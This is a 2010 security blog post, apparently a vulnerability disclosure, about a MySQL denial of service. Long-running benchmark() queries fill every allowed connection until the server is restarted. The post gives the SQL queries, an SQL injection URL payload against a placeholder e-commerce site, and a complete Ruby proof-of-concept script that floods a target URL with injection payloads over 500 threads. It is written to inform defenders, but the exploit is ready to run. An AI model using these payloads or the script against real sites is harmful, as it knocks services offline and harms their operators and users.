Thursday, September 30, 2010

MySQL query timeout remote Denial of Service

Tiago Ferreira, a senior security analyst at Telspace Systems, recently stumbled on a vulnerability in Mysql during a Penetration test for a client.

Due to the lack of execution limit time (query timeout) for queries, it is possible to force the MySQL to process a certain query for a determined amount of time (hours/days). The processing time will depend on the hardware resources (cpu, memory) available at the server.

The MySQL has a system variable that defines the maximum amount of connections that can be made simultaneously (max_user_connections) for the daemon. For instance, if this variable is configured to “max_user_connections=100, the MySQL will just allow that 100 simultaneous connections be processed. If a "101" connection is attempted, the daemon will answer with the message *Too many connections*, so that no other requirement be processed while the connections are active.

The benchmark() function can be used to "hold" a determined connection for a certain time interval. For instance:


mysql> select benchmark(500000,sha1('A'));
+------------------------------+
| benchmark(500000,sha1(0x65)) |
+------------------------------+
| 0 |
+------------------------------+
1 row in set (1.11 sec)

When running the benchmark() function, as illustrated, it is possible to verify that the MySQL took about 1.11 seconds to process the query, which means it "held" the connection for a period of 1.11 seconds.

If the value referring to the number of processing times of the benchmark() function is increased, the total processing time will, therefore, increase.

mysql> select benchmark(500000000,sha1(0x65));
+---------------------------------+
| benchmark(500000000,sha1(0x65)) |
+---------------------------------+
| 0 |
+---------------------------------+
1 row in set (12 min 5.06 sec)

The processing of the benchmark() function above took 12 minutes to be executed.

As this function does not have limits for the amount of times necessary to process certain task, it is possible to increase this number to an extremely high value, so that one or more available connections be occupied for a long period of time.

To cause a denial of service, multiple simultaneous connection queries are sent, to fill all the available slots in the MySQL(defined in max_user_connections) and maintain these connections busy with the benchmark() processing. This way the following connections will not be processed by the daemon.

To force the MySQL into processing a query for a lot of hours/days, the following query can be sent:

select benchmark(9000000000000000000000000000000,ENCODE(0x65,0x65))

The native function ENCODE() takes about 4 times more to be processed than the sha1() function, and soon was chosen to "hold" the MySQL connections. During the tests made with the daemon, it was noticed that the cpu processing was kept at an average 98%, also denying new connections to the data base. To establish the normal functioning of the daemon it was necessary to restart the MySQL.

The same kind of tests were made in the Microsoft SQL Server 2005, using the function *waitfor delay*, but it didn't appear to be vulnerable because the error message "Query timeout expired" was shown and the connection allowed, which means the MSSQL has a query time checking native algorithm.

The impact caused by the exploration of this vulnerability is more critical when done remotely against Web applications vulnerable to a SQL Injection or Blind SQL Injection.

For instance, an e-commerce site using the MySQL to storage data (products, prices, clients, etc.), can have it's services interrupted. The URL example below is responsible for seeking at the data base the product identified by the parameter id=100 and show them to the user.

http://e-commerce.example.com/products.php?cat=2&id=100

An attack scene for denial of service would be to send the following query several times.

http://e-commerce.example.com/products.php?cat=2&id=100+select+benchmark(9000000000000000000000000000000,ENCODE(0x65,0x65))%23%23

As a proof of concept a ruby script was developed to exploit this vulnerability, in the case of a Web application is vulnerable to SQL injection.

#!/usr/bin/ruby
#Telspace Systems - www.telspace.co.za - info[@]telspace.co.za

require 'net/http'
require 'uri'
require 'optparse'

# Command line options

options = {}
OptionParser.new do |opts|

options[:url] = nil
opts.on('-u', '--url',"Specify an URL vulnerable for MySQL Injection\n\n") do
options[:url] = ARGV[0]
end

end.parse!

# HTTP config

if options[:url] != nil
$base_url = options[:url].match(/http:\/\/(.*)\//).to_s
$vuln_param = options[:url].scan(/\/\/[^\/]*(.*)/).to_s

else
puts "\tUse -u or --url to specify an URL vulnerable to MySQL Injection\n\n"
exit

end

# Attack config

threads = 500
$payload1 = "+and+(select+benchmark(9000000000000000000000000000000,sha1(sha1(0x65))))%23%23"
$payload2 = "'+and+(select+benchmark(9000000000000000000000000000000,sha1(sha1(0x65))))%23%23"

# HTTP interface
def build_http_request()
begin
uri = URI.parse($base_url)
request = Net::HTTP.new(uri.host,uri.port)
rescue Exception => error2
store_logs = error2.inspect
return request
end
end

# Send multiples requests

1.upto(threads){|i|
threads = Thread.new do
puts "Send request " + i.to_s
request = build_http_request()
request.request_get($vuln_param+$payload1)
request.request_get($vuln_param+$payload2)
end
}